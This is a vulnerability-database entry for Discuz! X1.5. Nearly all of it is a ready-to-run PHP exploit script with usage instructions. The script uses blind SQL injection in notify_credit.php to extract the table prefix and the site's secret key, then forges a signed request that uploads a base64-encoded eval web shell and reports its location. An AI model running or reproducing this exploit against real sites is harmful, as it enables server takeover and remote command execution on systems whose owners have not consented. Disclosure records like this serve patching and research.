discuz! X1.5 Get Shell 0day

2011-06-03T00:00:00
ID SSV:93689
Type seebug
Reporter Root
Modified 2011-06-03T00:00:00

Description

简要描述:

可以自由写入一句话木马

详细说明:

以下为漏洞的EXP

``` <?php print_r(' +---------------------------------------------------------------------------+ Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57 2010.11.05 mail: admin at bkey org team: http://www.bkey.org 说明:alibaba把后续getshell代码添加了下去 +---------------------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' url [pre] Example: php '.$argv[0].' http://localhost/ php '.$argv[0].' http://localhost/ xss_ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $url = $argv[1]; $pre = $argv[2]?$argv[2]:'pre_'; $target = parse_url($url); extract($target); $path1 = $path . '/api/trade/notify_credit.php'; $hash = array(); $hash = array_merge($hash, range(48, 57)); $hash = array_merge($hash, range(97, 102)); $tmp_expstr = "'"; $res = send(); if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');} preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match); if($match[1])$pre = $match[1]; $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='"; $res = send(); if(strpos($res,"doesn't exist")!==false){ echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"; for($i = 1;$i<20;$i++){ $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){
$pre = ''; $hash2 = array(); $hash2 = array_merge($hash2, range(48, 57)); $hash2 = array_merge($hash2, range(97, 122)); $hash2[] = 95; for($j = 1;$j <= $i; $j++){ for ($k = 0; $k <= 255; $k++) { if(in_array($k, $hash2)) { $char = dechex($k); $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ echo chr($k); $pre .= chr($k);break; }
}
}
}
if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');}; } } }; echo "Please Waiting....\n"; $sitekey = ''; for($i = 1;$i <= 32; $i++){ for ($k = 0; $k <= 255; $k++) { if(in_array($k, $hash)) { $char = dechex($k); $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ echo chr($k); $sitekey .= chr($k);break; }}}} / By: alibaba 修改与添加了一些代码,如果成功就能得到shell 一句话秘密是 : cmd / if(strlen($sitekey)!=32) { echo "\nmy_sitekey not found. try blank my_sitekey\n"; } else echo "\nmy_sitekey:{$sitekey}\n"; echo "\nUploading Shell..."; $module = 'video'; $method = 'authauth'; $params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}'; $sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey); $data = "module=$module&method=$method&params=$params&sign=$sign"; $path2 = $path . "/api/manyou/my.php"; POST($host,80,$path2,$data,30); echo "\nGetting Shell Location...\n"; $file = ''; for($i = 1;$i <= 32; $i++){ for ($k = 0; $k <= 255; $k++) { if(in_array($k, $hash)) { $char = dechex($k); $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ echo chr($k); $file .= chr($k);break; } } } } echo "\nShell: $host$path/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php"; exit; function sign($exp_str){ return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key="); } function send(){ global $host, $path1, $tmp_expstr;

$expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
return POST($host,80,$path1,$expdata,30);

}
function POST($host,$port,$path,$data,$timeout, $cookie='') { $buffer=''; $fp = fsockopen($host,$port,$errno,$errstr,$timeout); if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); else { fputs($fp, "POST $path HTTP/1.0\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($data)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data."\r\n\r\n");

    while(!feof($fp)) 
    {
        $buffer .= fgets($fp,4096);
    }

    fclose($fp);
} 
return $buffer;

} ?> ```

漏洞证明:

<img src="https://images.seebug.org/upload/201106/030834166227744b6afbfb2e4aa7abce040df279.png" alt="" width="600" onerror="javascript:errimg(this);">